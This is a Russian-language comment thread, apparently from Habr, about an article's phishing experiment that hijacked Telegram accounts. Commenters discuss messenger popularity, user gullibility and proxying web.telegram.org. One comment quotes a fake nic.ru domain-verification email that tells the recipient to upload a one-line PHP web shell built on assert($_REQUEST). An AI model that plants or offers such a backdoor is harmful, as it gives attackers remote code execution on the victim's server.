Угон Телеграм на волнах паники

[gto]

«Телеграм имеет самую большую аудиторию», среди кого?

[Stawros]

По всей видимости среди заблокированных РКН мессенджеров.

[Tufed]

А РКН еще кого-то блокировал?

[FlamyXD]

Zello?

[mxms]

BBM. Первые удостоились блоков целыми подсетями. И до сих пор в блоке.

[1Fedor]

Ради интереса глянул, что было до этого хайпа
«В январе 2018 г. Институт современных медиа провел опрос среди 100 тыс. россиян, по результатам которого самым популярным мессенджером также оказался WhatsApp с долей в 59% пользователей. 36% опрошенных сообщили, что используют в Viber, это обеспечило ему второе место в списке. На третьем месте расположился мессенджер «ВКонтакте», которым пользуются 32% россиян. Telegram востребован у 19% пользователей, Facebook Messenger — у 14%, сообщал институт.

[mpoul]

Нужно учитывать, что большая часть перечисленных Вами мессенджеров распространяются OEM, таким образом можно сказать что производители электроники повлияли на показатель популярности, многие стали использовать данные мессенджеры из коробки. На сколько я знаю телеграм в состав предустановленного ПО не входит.

[vesper-bot]

То есть вы, грубо говоря, кому-то на странице отдали интерфейс приложения Telegram, полученный по VNC, потом заграбастали его профиль? Это круче, чем отрава для тараканов, которую надо капать им в рот.

[Fragster]

Ну тут недавно некий телеграм точка онлайн рекламировали (прям так русскими буквами)

[mpoul]

Нашлась аудитория, которая кушала эту отраву. Это еще раз подверждает что люлям долго еще созревать в отношении защиты собственной безопасности. Людям нужно чаще задумыватся над адекватностью своих действий на просторах Интернета

[d7s2di]

Сегодня очень неоднозначно развивается ситуация вокруг

А по-моему, так вполне однозначно.

[cagami]

попросили ввести логин и пароль? хмммм
А не проще было попросить дать логин и пароль для тестов эффект тот же. imho

[mpoul]

Обычный экперимент с фишингом. Вы бы дали свой код/пароль от телеграма для тестов? Мы подтвердили для себя, что вовремя хайпа народ теряет голову и делает не ращумные вещи, доверяя любой новой фишке не задумываясь о безопасности.

[Tihon_V]

Можно использовать один из сервисов для получания смс на временный номер.

[cagami]

Ну это из разряда nic.ru
Уважаемый администратор домена!
В соответствии с дополнениями, внесенными в правила ICANN, необходимо подтвердить, что управление доменом XXX осуществляется лицом, указанным в качестве его администратора.

Для подтверждения того, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл 9dededee233432.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[6L4TV]));
?>
вот у вас тоже самое

[Viacheslav01]

Начали с угроз MITM-ом, было интересно, закончили «Мы заманили пользователя на левый клиент и сперли его данные», стало не интересно. Да хомяков эта отрава может немного покосить. Но вот про посетителей хабра, очень сильно сомневаюсь.

На фоне сказанного этот шедевр особенно хорош:

Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.

[Isis]

А еще с вашего устройства могут просто скопировать вашу сессию если вдруг вы забыли заблокировать ноут на работе пока ушли курить и вы об этом никогда не узнаете т.к. новой сессии не появится.

[mpoul]

Согласен, но для этого даже курить никуда не надо ходить, если твой рабочий компьютер вхож в корпоративный домен.

[maxzhurkin]

А где MITM?
P.S. Нигде, вопрос снят

[BeLove]

С таким же успехом можно сделать proxy_pass до web.telegram.org (https://www.slideshare.net/sergeybelove/nginx-warhead)